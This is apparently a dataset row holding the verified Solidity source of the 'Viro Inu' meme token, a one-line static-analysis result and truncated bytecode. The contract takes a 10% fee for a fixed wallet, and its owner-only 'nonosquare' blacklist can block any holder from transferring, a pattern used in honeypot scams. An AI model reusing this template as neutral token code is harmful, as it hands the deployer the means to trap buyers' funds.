6f77a264697066735822122044080131051ffb5431f5b9a9f4dab8821d2d8bcea73d7d7cd35fc0ee3de43cf364736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,943 |
0x73d202412f3cac4f9aa2e4bb77af04070a49286e | /**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
/**
* Viro Inu
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ViroInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 200000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Viro Inu";
string private constant _symbol = "VIRO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x97f5bb319964fAaB9DEb14f3D3b57AC86DAE5831);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4000000000 * 10**9;
_maxWalletSize = 6000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061271e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127e8565b6104b4565b60405161018e9190612843565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d0565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a19565b61060d565b60405161021f9190612843565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6c565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab5565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afc565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b29565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6c565b6109dd565b604051610319919061286d565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b65565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061271e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127e8565b610c9e565b6040516103da9190612843565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b29565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b80565b611330565b60405161046e919061286d565b60405180910390f35b60606040518060400160405280600881526020017f5669726f20496e75000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b6000680ad78ebc5ac6200000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8a565b91505061057b565b5050565b600061061a848484611588565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0c565b60405180910390fd5b6000811161093357600080fd5b610962606461095483680ad78ebc5ac6200000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d41565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c0c565b60405180910390fd5b680ad78ebc5ac6200000600f81905550680ad78ebc5ac6200000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5649524f00000000000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b8484611588565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f83680ad78ebc5ac6200000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1b565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d1e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16680ad78ebc5ac62000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d53565b6040518363ffffffff1660e01b815260040161109c929190612d80565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d53565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612dee565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e64565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550673782dace9d900000600f819055506753444835ec5800006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612eb7565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612ef5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612f94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613026565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061286d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906130b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d9061314a565b60405180910390fd5b600081116116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906131dc565b60405180910390fd5b6000600a81905550600a600b819055506116c1610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172f57506116ff610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fa5750600e60179054906101000a900460ff165b15611a3857600f54811115611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b90613248565b60405180910390fd5b60105481611951846109dd565b61195b9190613268565b111561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119939061330a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e757600080fd5b601e426119f49190613268565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b4f576000600a81905550600a600b819055505b6000611b5a306109dd565b9050600e60159054906101000a900460ff16158015611bc75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdf5750600e60169054906101000a900460ff165b15611c0757611bed81611e1b565b60004790506000811115611c0557611c0447611d41565b5b505b505b611c14838383612094565b505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58919061271e565b60405180910390fd5b5060008385611c70919061332a565b9050809150509392505050565b6000808303611c8f5760009050611cf1565b60008284611c9d919061335e565b9050828482611cac91906133e7565b14611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce39061348a565b60405180910390fd5b809150505b92915050565b6000611d3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da9573d6000803e3d6000fd5b5050565b6000600854821115611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9061351c565b60405180910390fd5b6000611dfe612107565b9050611e138184611cf790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5357611e5261288d565b5b604051908082528060200260200182016040528015611e815781602001602082028036833780820191505090505b5090503081600081518110611e9957611e98612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f649190612d53565b81600181518110611f7857611f77612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdf30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120439594939291906135fa565b600060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209f838383612132565b505050565b600080831182906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e2919061271e565b60405180910390fd5b50600083856120fa91906133e7565b9050809150509392505050565b60008060006121146122fd565b9150915061212b8183611cf790919063ffffffff16565b9250505090565b6000806000806000806121448761235f565b9550955095509550955095506121a286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122838161246f565b61228d848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ea919061286d565b60405180910390a3505050505050505050565b600080600060085490506000680ad78ebc5ac62000009050612333680ad78ebc5ac6200000600854611cf790919063ffffffff16565b82101561235257600854680ad78ebc5ac620000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c612107565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b60008082846124209190613268565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c906136a0565b60405180910390fd5b8091505092915050565b6000612479612107565b905060006124908284611c7d90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125bc60646125ae888b611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611c7d90919063ffffffff16565b9050600061262c8689611c7d90919063ffffffff16565b905060006126438789611c7d90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126bf5780820151818401526020810190506126a4565b838111156126ce576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f082612685565b6126fa8185612690565b935061270a8185602086016126a1565b612713816126d4565b840191505092915050565b6000602082019050818103600083015261273881846126e5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277f82612754565b9050919050565b61278f81612774565b811461279a57600080fd5b50565b6000813590506127ac81612786565b92915050565b6000819050919050565b6127c5816127b2565b81146127d057600080fd5b50565b6000813590506127e2816127bc565b92915050565b600080604083850312156127ff576127fe61274a565b5b600061280d8582860161279d565b925050602061281e858286016127d3565b9150509250929050565b60008115159050919050565b61283d81612828565b82525050565b60006020820190506128586000830184612834565b92915050565b612867816127b2565b82525050565b6000602082019050612882600083018461285e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c5826126d4565b810181811067ffffffffffffffff821117156128e4576128e361288d565b5